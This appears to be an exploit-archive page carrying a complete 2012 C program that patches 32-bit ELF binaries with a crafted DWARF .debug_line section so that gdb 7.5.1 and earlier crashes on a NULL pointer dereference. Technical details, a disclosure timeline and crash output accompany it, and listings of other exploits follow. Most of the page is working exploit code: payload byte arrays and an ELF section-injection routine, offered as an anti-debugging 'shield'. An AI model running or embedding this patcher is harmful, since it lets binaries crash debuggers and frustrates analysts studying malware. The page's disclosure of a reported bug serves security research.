Menu

Search for hundreds of thousands of exploits

"gdb (GNU debugger) 7.5.1 - Null Pointer Dereference"

Author

Exploit author

nitr0us

Platform

Exploit platform

linux

Release date

Exploit published date

2012-12-20

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
/*
*
* gdb (GNU debugger) <= 7.5.1 (crash due a NULL pointer dereference)
* ELF anti-debugging/reversing patcher
*
* Published @ IOActive Labs Research blog:
* http://blog.ioactive.com/2012/12/striking-back-gdb-and-ida-debuggers.html
*
* - nitr0us [ http://twitter.com/nitr0usmx ]
*
* Tested under:
* GNU gdb 7.5.1       (OpenBSD 5.2 i386    [Compiled from sources])
* GNU gdb 7.5         (OpenBSD 5.2 i386    [Compiled from sources])
* GNU gdb 7.5         (Ubuntu Server 12.04 [Compiled from sources])
* GNU gdb 7.4.1       (OpenBSD 5.2 i386)
* GNU gdb 7.4-2012.04 (Ubuntu Server 12.04)
* GNU gdb 7.2-50.el6  (CentOS Linux)
* GNU gdb 6.7.1       (Gentoo Linux)
*
* Bug found using Frixyon fuzzer (my ELF file format fuzzer still in development)
*
* Timeline:
* 12/11/2012    The bug was found on GNU gdb 7.5
* 19/11/2012    The bug was reported through the official GNU gdb.s bug tracker:
                http://sourceware.org/bugzilla/show_bug.cgi?id=14855
* 10/12/2012    Retested with the latest release (7.5.1), which still has the bug
* 12/12/2012    The status on the tracker is still "NEW"
*
**************** TECHNICAL DETAILS ***********************
In gdb-7.5.1/gdb/dwarf2read.c is the following data structure:
struct line_header
{
...
  unsigned int num_include_dirs, include_dirs_size;
  char **include_dirs;
...
  struct file_entry
  {
    char *name;
    unsigned int dir_index;
    unsigned int mod_time;
    unsigned int length;
...
  } *file_names;
}

The problem exists when trying to open a malformed ELF that contains a
file_entry.dir_index > 0 and char **include_dirs pointing to NULL.

After patching an ELF file with this code, the following happens:

(gdb) r -q ./evil_exploit

Program received signal SIGSEGV, Segmentation fault.
0x081e87bd in psymtab_include_file_name (lh=0x8594420, file_index=0,
pst=0x8583650, comp_dir=0x858362c "/home/nitr0us") at dwarf2read.c:13969
13970       dir_name = lh->include_dirs[fe.dir_index - 1];
(gdb) p/x fe
$1 = {name = 0x8583718, dir_index = 0xf, mod_time = 0x0, length = 0x0,
included_p = 0x1, symtab = 0x0}
(gdb) p lh->include_dirs
$2 = (char **) 0x0
(gdb) x/i $eip
=> 0x81e87bd <psymtab_include_file_name+111>:   mov    (%eax),%eax
(gdb) i r $eax
eax            0x38     56

The root cause of the problem is that there's no validation to 
verify if include_dirs is different from NULL before referencing it.

**********************************************************
*
* [Compilation] $ gcc gdb_751_elf_shield.c -o gdb_751_elf_shield -Wall
*
* Sh0utz: IOActive fellows, CRAc, b33rc0n crew (dex, hkm, calderpwn,
*         Carlos Ayala, Daemon, LightOS) chr1x, alt3kx, tr3w, crypkey,
*         el_chito, nahual, beck, sirdarkcat, NataS, ran, Fede Bossi, 
*         nediam, psymera, Rolman, Kbrown, Bucio, p4dm3, Hector Lopez, zeus, 
*         Matias Brutti, sunl3vy, Raaka_elgaupo, vendetta, raito, beavis,
*         el5patas, vi0let.
*
*
* http://chatsubo-labs.blogspot.com
* http://www.brainoverflow.org
*
*/

#include <sys/mman.h>
#include <sys/stat.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdio.h>
#include <fcntl.h>

#if defined(__OpenBSD__) || defined(__NetBSD__) || defined(__FreeBSD__)
#include <sys/exec_elf.h>
#else
#include <elf.h>
#endif

/*
* The next payload is based on the 'struct line_header'
* defined in gdb-7.5.1/gdb/dwarf2read.c
*
* The fields are put in little-endian (LSB)
*/
const char dwarf_line_header[] = {
	0x32, 0x00, 0x00, 0x00,             // unsigned int total_length;
	0x02, 0x00,                         // unsigned short version;
	0x1c, 0x00, 0x00, 0x00,             // unsigned int header_length;
	0x01,                               // unsigned char minimum_instruction_length;
	0x01,                               // unsigned char maximum_ops_per_instruction;
	0xfb,                               // int line_base; in runtime = 0xfffffffb, however, in file system it's only one byte o_O?
	0x0e,                               // unsigned char line_range;
	0x0d,                               // unsigned char opcode_base;
	'N' , '1' , '7' , 'R' , '0' ,       // Useless to trigger the bug
	0xDE, 0xAD, 0xBA, 0xBE,             // Useless to trigger the bug
	0x31, 0x33, 0x70,                   // Useless to trigger the bug
	0x00,                               // (KILLER BYTE) char **include_dirs; This will expand to a NULL pointer 0x00000000
	'C' , 'R' , '4' , '5' , 'H' , 0x00, // file_entry->name
	0x31,                               // (KILLER BYTE) file_entry->dir_index; dwarf_line_header->include_dirs[file_entry.dir_index - 1]; SIGSEGV !
	0x33,                               // file_entry->mod_time;
	0x70,                               // file_entry->length;
	0x00, 0x00, 0x05, 0x02,             // Couldn't detect where exactly are loaded in memory at runtime
	0xd4, 0x83, 0x04, 0x08,             // . . .
	0x15, 0x91, 0xbc, 0x59,             // . . .
	0x02, 0x02, 0x00, 0x01,             // . . .
	0x01,                               // Couldn't detect where exactly are loaded in memory at runtime
};

/*
* The next ELF sections are necessary to crash gdb.
* They were taken from a normal ELF file compiled with -ggdb
* $objdump -s -j .debug_xxx ./a.out
*/
char debug_info[] = {
	0x87, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x01, 0x3b, 0x00, 0x00, 0x00,
	0x01, 0x00, 0x00, 0x00, 0x00, 0x55, 0x00, 0x00, 0x00, 0xd4, 0x83, 0x04, 0x08, 0xf0, 0x83, 0x04,
	0x08, 0x00, 0x00, 0x00, 0x00, 0x02, 0x04, 0x07, 0x2e, 0x00, 0x00, 0x00, 0x02, 0x01, 0x08, 0x47,
	0x00, 0x00, 0x00, 0x02, 0x02, 0x07, 0x07, 0x00, 0x00, 0x00, 0x02, 0x04, 0x07, 0x29, 0x00, 0x00,
	0x00, 0x02, 0x01, 0x06, 0x49, 0x00, 0x00, 0x00, 0x02, 0x02, 0x05, 0x1a, 0x00, 0x00, 0x00, 0x03,
	0x04, 0x05, 0x69, 0x6e, 0x74, 0x00, 0x02, 0x08, 0x05, 0x68, 0x00, 0x00, 0x00, 0x02, 0x08, 0x07,
	0x24, 0x00, 0x00, 0x00, 0x02, 0x04, 0x05, 0x6d, 0x00, 0x00, 0x00, 0x02, 0x01, 0x06, 0x50, 0x00,
	0x00, 0x00, 0x04, 0x01, 0x63, 0x00, 0x00, 0x00, 0x01, 0x03, 0x4f, 0x00, 0x00, 0x00, 0xd4, 0x83,
	0x04, 0x08, 0xf0, 0x83, 0x04, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00
};

char debug_abbrev[] = {
	0x01, 0x11, 0x01, 0x25, 0x0e, 0x13, 0x0b, 0x03, 0x0e, 0x1b, 0x0e, 0x11, 0x01, 0x12, 0x01, 0x10,
	0x06, 0x00, 0x00, 0x02, 0x24, 0x00, 0x0b, 0x0b, 0x3e, 0x0b, 0x03, 0x0e, 0x00, 0x00, 0x03, 0x24,
	0x00, 0x0b, 0x0b, 0x3e, 0x0b, 0x03, 0x08, 0x00, 0x00, 0x04, 0x2e, 0x00, 0x3f, 0x0c, 0x03, 0x0e,
	0x3a, 0x0b, 0x3b, 0x0b, 0x49, 0x13, 0x11, 0x01, 0x12, 0x01, 0x40, 0x06, 0x00, 0x00, 0x00
};

char debug_str[] = {
	0x65, 0x76, 0x69, 0x6c, 0x2e, 0x63, 0x00, 0x73, 0x68, 0x6f, 0x72, 0x74, 0x20, 0x75, 0x6e, 0x73,
	0x69, 0x67, 0x6e, 0x65, 0x64, 0x20, 0x69, 0x6e, 0x74, 0x00, 0x73, 0x68, 0x6f, 0x72, 0x74, 0x20,
	0x69, 0x6e, 0x74, 0x00, 0x6c, 0x6f, 0x6e, 0x67, 0x20, 0x6c, 0x6f, 0x6e, 0x67, 0x20, 0x75, 0x6e,
	0x73, 0x69, 0x67, 0x6e, 0x65, 0x64, 0x20, 0x69, 0x6e, 0x74, 0x00, 0x47, 0x4e, 0x55, 0x20, 0x43,
	0x20, 0x34, 0x2e, 0x36, 0x2e, 0x33, 0x00, 0x75, 0x6e, 0x73, 0x69, 0x67, 0x6e, 0x65, 0x64, 0x20,
	0x63, 0x68, 0x61, 0x72, 0x00, 0x2f, 0x68, 0x6f, 0x6d, 0x65, 0x2f, 0x6e, 0x69, 0x74, 0x72, 0x30,
	0x75, 0x73, 0x00, 0x6d, 0x61, 0x69, 0x6e, 0x00, 0x6c, 0x6f, 0x6e, 0x67, 0x20, 0x6c, 0x6f, 0x6e,
	0x67, 0x20, 0x69, 0x6e, 0x74, 0x00
};

/* Global vars & structs that'll used later */
Elf32_Ehdr      *header;
Elf32_Shdr	*sht; // Section Header Table
Elf32_Phdr      *pht; // Program Header Table
Elf32_Shdr	*shstrtab_section;
Elf32_Word	s_debug_line_size = 0;
Elf32_Word	shstrtab_size     = 0;
Elf32_Off	shstrtab_offset   = 0;
Elf32_Off	debug_line_offset = 0;
struct stat	statinfo; // We'll use only st_size and st_mode
char		*elfptr;
int		fd, tmpfd, k;

int isELF(int);

Elf32_Off findDebugLineSection()
{
	for(k = 0; k < header->e_shnum; k++, sht++)
		if(strcmp(elfptr + shstrtab_offset + sht->sh_name, ".debug_line") == 0){
			s_debug_line_size = sht->sh_size;

			return sht->sh_offset;
		}

	return 0;
}

/*
* This function will add the section '.debug_line'
* with the payload inside. Also, it's necessary to 
* update some ELF metadata as well as to include some
* extra Elf32_Shdr structures in the middle of the file.
*
* I solved this problem doing the following steps:
*
* 1.- Patch the .shstrtab (and .strtab) sections size, so
*     the names (strings at the end of the file) of the new appended 
*     sections will be inside that sections (gdb checks for the offsets).
*
* 2.- Create 4 new Elf32_Shdr structures (.debug_line, .debug_info,
*     .debug_abbrev and .debug_str) which are necessary to crash gdb:
*     ->sh_name is a relative offset to shstrtab_section->sh_offset
*       So, it'll be pointing to statinfo.st_size - shstrtab_section->sh_offset
*       (it means that at the end of the file there will be the
*       string '.debug_line' (null terminated)). The same calculations for the
*       other 3 new sections added.
*     ->sh_offset is the absolute offset in file system, so it'll be
*       pointing to the end of the file.
*     ->sh_size will be obviously sizeof() each section content (payloads)
*
* 3.- Calculate the insertion point (offset in file system):
*     header->e_shoff + header->e_shnum * sizeof(Elf32_Shdr)
*
* 4.- Four Elf32_Shdr structured will be appended at the end of the 
*     Section Header Table, so it means that for each program header 
*     who's segment is after the insertion, its offset in file system has to 
*     be updated to reflect the new position after insertion:
*     pht->p_offset += sizeof(Elf32_Shdr) * n_sections_to_inject;
*     Also update the header->e_phoff (in case it's after the injection point).
*
* 5.- Update the ELF header to account for 4 extra section headers:
*     ->header->e_shnum += n_sections_to_inject;
*
* 6.- Synchronize the ELF in file system with its corresponding 
*     pointer in memory to reflect the previous changes (msync()).
*     Also close the file descriptor.
*
* 7.- Physically insert the Elf32_Shdr structures at the end 
*     of the Section Header Table (insertion point calculated in the step 3).
*     After that, copy the rest of the file.

* 8.- Insert the names of the new sections (strings '.debug_line', '.debug_info',
*     '.debug_abbrev' and '.debug_str') followed by its corresponding null byte.
*
* 9.- Finally, insert the payloads (dwarf_line_header[], debug_info[], debug_str[]
*     and debug_abbrev[])
*
*/
int addDebugLineSection()
{
	unsigned int	n_sections_to_inject = 4; // .debug_line (bogus data), .debug_info, .debug_abbrev and .debug_str
	unsigned int	n_sections_names_len = strlen(".debug_str") + 1 
						+ strlen(".debug_info") + 1 
						+ strlen(".debug_line") + 1 
						+ strlen(".debug_abbrev") + 1;

	// Step 1
	shstrtab_section->sh_size = statinfo.st_size - shstrtab_offset + sizeof(Elf32_Shdr) * n_sections_to_inject + n_sections_names_len;
	printf("[+] Patching the size of \".shstrtab\" section to 0x%.4x\n", shstrtab_section->sh_size);

	sht = (Elf32_Shdr *) (elfptr + header->e_shoff);
	for(k = 0; k < header->e_shnum; k++, sht++)
		if(strcmp(elfptr + shstrtab_offset + sht->sh_name, ".strtab") == 0){
			sht->sh_size = shstrtab_section->sh_size;
			printf("[+] Patching the size of \".strtab\" section to 0x%.4x as well (gdb also check this size)\n\n", sht->sh_size);
			break;
		}

	// Step 2
	Elf32_Shdr	debug_line_sechdr, debug_info_sechdr, debug_abbrev_sechdr, debug_str_sechdr;

	debug_line_sechdr.sh_type = debug_info_sechdr.sh_type = debug_abbrev_sechdr.sh_type = debug_str_sechdr.sh_type = 0x0001;
	debug_line_sechdr.sh_flags = debug_info_sechdr.sh_flags = debug_abbrev_sechdr.sh_flags = 0x0000;
	debug_str_sechdr.sh_flags = 0x0030;
	debug_line_sechdr.sh_addr = debug_info_sechdr.sh_addr = debug_abbrev_sechdr.sh_addr = debug_str_sechdr.sh_addr = 0x00000000;
	debug_line_sechdr.sh_link = debug_info_sechdr.sh_link = debug_abbrev_sechdr.sh_link = debug_str_sechdr.sh_link = 0x0000;
	debug_line_sechdr.sh_info = debug_info_sechdr.sh_info = debug_abbrev_sechdr.sh_info = debug_str_sechdr.sh_info = 0x0000;
	debug_line_sechdr.sh_addralign = debug_info_sechdr.sh_addralign = debug_abbrev_sechdr.sh_addralign = debug_str_sechdr.sh_addralign = 0x0001;
	debug_line_sechdr.sh_entsize = debug_info_sechdr.sh_entsize = debug_abbrev_sechdr.sh_entsize = debug_str_sechdr.sh_entsize = 0x0000;

	debug_line_sechdr.sh_size =	sizeof(dwarf_line_header);
	debug_info_sechdr.sh_size =	sizeof(debug_info);
	debug_str_sechdr.sh_size =	sizeof(debug_str);
	debug_abbrev_sechdr.sh_size =	sizeof(debug_abbrev);

	// Relative offsets to shstrtab_offset
	debug_line_sechdr.sh_name =	statinfo.st_size + sizeof(Elf32_Shdr)* n_sections_to_inject - shstrtab_offset;
	debug_info_sechdr.sh_name =	statinfo.st_size + sizeof(Elf32_Shdr)* n_sections_to_inject - shstrtab_offset 
					+ strlen(".debug_line") + 1;
	debug_str_sechdr.sh_name =	statinfo.st_size + sizeof(Elf32_Shdr)* n_sections_to_inject - shstrtab_offset
					+ strlen(".debug_line") + 1
					+ strlen(".debug_info") + 1;
	debug_abbrev_sechdr.sh_name =	statinfo.st_size + sizeof(Elf32_Shdr)* n_sections_to_inject - shstrtab_offset
					+ strlen(".debug_line") + 1
					+ strlen(".debug_info") + 1
					+ strlen(".debug_str")  + 1;

	// Absolute offsets at the end of the file
	debug_line_sechdr.sh_offset =	statinfo.st_size + sizeof(Elf32_Shdr) * n_sections_to_inject + n_sections_names_len;
	debug_info_sechdr.sh_offset =	statinfo.st_size + sizeof(Elf32_Shdr) * n_sections_to_inject + n_sections_names_len
					+ debug_line_sechdr.sh_size;
	debug_str_sechdr.sh_offset =	statinfo.st_size + sizeof(Elf32_Shdr) * n_sections_to_inject + n_sections_names_len
					+ debug_line_sechdr.sh_size
					+ debug_info_sechdr.sh_size;
	debug_abbrev_sechdr.sh_offset =	statinfo.st_size + sizeof(Elf32_Shdr) * n_sections_to_inject + n_sections_names_len
					+ debug_line_sechdr.sh_size
					+ debug_info_sechdr.sh_size
					+ debug_str_sechdr.sh_size;

	// Step 3
	Elf32_Off shdr_insertion_point = header->e_shoff + header->e_shnum * sizeof(Elf32_Shdr);

	printf("[*] The insertion point will be at: 0x%.4x\n\n", shdr_insertion_point);

	// Step 4
	pht = (Elf32_Phdr *) (elfptr + header->e_phoff);

	if(header->e_phoff >= shdr_insertion_point){
		header->e_phoff += sizeof(Elf32_Shdr) * n_sections_to_inject;

		printf("[+] The Program Header Table is after the insertion point. Fixing p_offset to 0x%.4x\n", header->e_phoff);
	} else
		printf("[-] The Program Header Table is before the insertion point.\n");


	for(k = 0; k < header->e_phnum; k++, pht++)
		if(pht->p_offset >= shdr_insertion_point){
			pht->p_offset += sizeof(Elf32_Shdr) * n_sections_to_inject;

			printf("[+] The Program Header[	%d ] is after the insertion point. Fixing p_offset to 0x%.4x\n", k, pht->p_offset);
		}

	// Step 5
	header->e_shnum += n_sections_to_inject;

	// Step 6
	if(msync(elfptr, 0, MS_SYNC) == -1){
		perror("msync");
		return 0;
	}

	close(fd);

	// Step 7
	if((tmpfd = creat("modified_elf.tmp", statinfo.st_mode)) == -1){
		perror("creat");
		return 0;
        }

	if(write(tmpfd, elfptr, shdr_insertion_point) == -1)
		return 0;

	printf("\n[+] Injecting the '.debug_line' Elf32_Shdr struct at the end of the Section Header Table...\n");
	if(write(tmpfd, &debug_line_sechdr, sizeof(Elf32_Shdr)) == -1)
		return 0;

	printf("[+] Injecting the '.debug_info' Elf32_Shdr struct at the end of the Section Header Table...\n");
	if(write(tmpfd, &debug_info_sechdr, sizeof(Elf32_Shdr)) == -1)
		return 0;

	printf("[+] Injecting the '.debug_str' Elf32_Shdr struct at the end of the Section Header Table...\n");
	if(write(tmpfd, &debug_str_sechdr, sizeof(Elf32_Shdr)) == -1)
		return 0;

	printf("[+] Injecting the '.debug_abbrev' Elf32_Shdr struct at the end of the Section Header Table...\n\n");
	if(write(tmpfd, &debug_abbrev_sechdr, sizeof(Elf32_Shdr)) == -1)
		return 0;

	// Copy the rest of the original file
	if(write(tmpfd, elfptr + shdr_insertion_point, statinfo.st_size - shdr_insertion_point) == -1)
		return 0;


	// Step 8
	if(write(tmpfd, ".debug_line\0", strlen(".debug_line") + 1) == -1)
		return 0;

	if(write(tmpfd, ".debug_info\0", strlen(".debug_info") + 1) == -1)
		return 0;

	if(write(tmpfd, ".debug_str\0", strlen(".debug_str") + 1) == -1)
		return 0;

	if(write(tmpfd, ".debug_abbrev\0", strlen(".debug_abbrev") + 1) == -1)
		return 0;

	// Step 9
	printf("[+] Injecting the malformed line header structure (payload) into the new created '.debug_line' section...\n");
	if(write(tmpfd, dwarf_line_header, sizeof(dwarf_line_header)) == -1)
		return 0;

	printf("[+] Injecting the content of '.debug_info', '.debug_str' and '.debug_abbrev' sections...\n");
	if(write(tmpfd, debug_info, sizeof(debug_info)) == -1)
		return 0;

	if(write(tmpfd, debug_str, sizeof(debug_str)) == -1)
		return 0;

	if(write(tmpfd, debug_abbrev, sizeof(debug_abbrev)) == -1)
		return 0;

	close(tmpfd);

	return 1;
}

int main(int argc, char **argv)
{
	printf("##################################################\n");
	printf("#                                                #\n");
	printf("#          gdb (GNU debugger) <= 7.5.1           #\n");
	printf("#     (crash due a NULL pointer dereference)     #\n");
	printf("#                                                #\n");
	printf("#      ELF anti-debugging/reversing patcher      #\n");
	printf("#                   -nitr0us-                    #\n");
	printf("#                                                #\n");
	printf("##################################################\n\n");

	if(argc < 2){
		fprintf(stderr, "Usage: %s <elf_file_to_patch>\n", argv[0]);
		exit(-1);
	}

	if((fd = open(argv[1], O_RDWR)) == -1){
		perror("open");
		exit(-1);
	}

	if(!isELF(fd)){
		close(fd);
		exit(-1);
	}

	if(fstat(fd, &statinfo) == -1){
		perror("stat");
		close(fd);
		exit(-1);
	}

	if((elfptr = (char *) mmap(NULL, statinfo.st_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0)) == MAP_FAILED){
		perror("mmap");
		close(fd);
		exit(-1);
	}

	header = (Elf32_Ehdr *) (elfptr);

	if(header->e_shoff == 0){
		fprintf(stderr, "[!] \"%s\" doesn't have a Section Header Table !\n", argv[1]);
		close(fd);
		munmap(elfptr, 0);
		exit(-1);
	}

	sht = (Elf32_Shdr *) (elfptr + header->e_shoff);

	printf("[*] The ELF file originally has: %d (0x%.4x) bytes\n", (int) statinfo.st_size, (int) statinfo.st_size);
	printf("[-] Ehdr->e_shnum:    %5d (0x%.4x)\n", header->e_shnum, header->e_shnum);
	printf("[-] Ehdr->e_shoff:    %5d (0x%.4x)\n", header->e_shoff, header->e_shoff);
	printf("[-] Ehdr->e_shstrndx: %5d (0x%.4x)\n", header->e_shstrndx, header->e_shstrndx);

	// Find the Section Header corresponding to the 
	// "Section Header String Table" to get the file offset from there
	shstrtab_section = (Elf32_Shdr *)(elfptr + header->e_shoff + header->e_shstrndx * sizeof(Elf32_Shdr));
	if((shstrtab_size = shstrtab_section->sh_size) > 0)
		if(!(shstrtab_offset = shstrtab_section->sh_offset)){
			fprintf(stderr, "[!] shstrtab_section->sh_offset is 0 (cero) !\n");
			close(fd);
			munmap(elfptr, 0);
			exit(-1);
		}

	printf("[-] shstrtab_offset:  %5d (0x%.4x)\n", (int) shstrtab_offset, (int) shstrtab_offset);
	printf("[-] shstrtab_size  :  %5d (0x%.4x)\n\n", (int) shstrtab_size, (int) shstrtab_size);

	printf("[*] Looking for the '.debug_line' section...\n\n");

	if(!(debug_line_offset = findDebugLineSection())){
		printf("[-] '.debug_line' section was not found in the Section Header Table !\n");
		printf("[*] Adding the '.debug_line' with the payload inside\n\n");

		if(!addDebugLineSection()){
			fprintf(stderr, "[!] The '.debug_line' section couldn't be added. Sorry !\n\n");
			close(fd);
			munmap(elfptr, 0);
			exit(-1);
		}

		printf("[+] The '.debug_line' section was added successfully with the payload inside\n\n");

		if(rename("modified_elf.tmp", argv[1]) == -1)
			perror("rename");
	} else {
		printf("[+] '.debug_line' section was found at offset %5d (0x%.4x) within the file\n", (int) debug_line_offset, (int) debug_line_offset);
		printf("[*] '.debug_line' size = %5d bytes\n", (int) s_debug_line_size);

		if(s_debug_line_size < sizeof(dwarf_line_header)){
			fprintf(stderr, "[!] '.debug_line' section is smaller than the payload to be injected (%d bytes)\n\n", (int) sizeof(dwarf_line_header));
			exit(-1);
		} else 
			printf("[*] '.debug_line' section has enough space for the payload (%d bytes)\n\n", (int) sizeof(dwarf_line_header));

		printf("[*] Overwriting its content with the payload\n\n");

		memcpy(elfptr + debug_line_offset, dwarf_line_header, sizeof(dwarf_line_header));
	}

	// Synchronize the ELF in file system with the previous memory mapped
	if(msync(elfptr, 0, MS_SYNC) == -1){
		perror("msync");
		close(fd);
		exit(-1);
	}

	close(fd);
	munmap(elfptr, 0);

	printf("[*] \"%s\" is now completely patched\n", argv[1]);
	printf("[*] gdb (GNU debugger) <= 7.5.1 should crash trying to load \"%s\"\n", argv[1]);

	return 0;
}

int isELF(int fd)
{
	Elf32_Ehdr	header;

	if(read(fd, &header, sizeof(header)) == -1){
		perror("isELF(): read");
		return 0;
	}

	/* magic number verification */
	if(header.e_ident[EI_MAG0] != ELFMAG0 ||
			header.e_ident[EI_MAG1] != 'E' ||
			header.e_ident[EI_MAG2] != 'L' ||
			header.e_ident[EI_MAG3] != 'F'){
		fprintf(stderr, "The argument given is not an ELF file !\n");
		return 0;
	}

	/* 32-bit class verification */
	if(header.e_ident[EI_CLASS] != ELFCLASS32){
		fprintf(stderr, "Only 32-bit ELF files supported !\n");
		return 0;
	}

	/* little-endian verification */
	if(header.e_ident[EI_DATA] != ELFDATA2LSB){
		fprintf(stderr, "Only little-endian ELF files supported !\n");
		return 0;
	}

	return 1;
}
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-11-27 "libupnp 1.6.18 - Stack-based buffer overflow (DoS)" dos linux "Patrik Lantz"
2020-11-24 "ZeroShell 3.9.0 - 'cgi-bin/kerbynet' Remote Root Command Injection (Metasploit)" webapps linux "Giuseppe Fuggiano"
2020-10-28 "aptdaemon < 1.1.1 - File Existence Disclosure" local linux "Vaisha Bernard"
2020-10-28 "Blueman < 2.1.4 - Local Privilege Escalation" local linux "Vaisha Bernard"
2020-10-28 "Oracle Business Intelligence Enterprise Edition 5.5.0.0.0 / 12.2.1.3.0 / 12.2.1.4.0 - 'getPreviewImage' Directory Traversal/Local File Inclusion" webapps linux "Ivo Palazzolo"
2020-10-28 "PackageKit < 1.1.13 - File Existence Disclosure" local linux "Vaisha Bernard"
2020-09-11 "Gnome Fonts Viewer 3.34.0 - Heap Corruption" local linux "Cody Winkler"
2020-07-10 "Aruba ClearPass Policy Manager 6.7.0 - Unauthenticated Remote Command Execution" remote linux SpicyItalian
2020-07-06 "Grafana 7.0.1 - Denial of Service (PoC)" dos linux mostwanted002
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.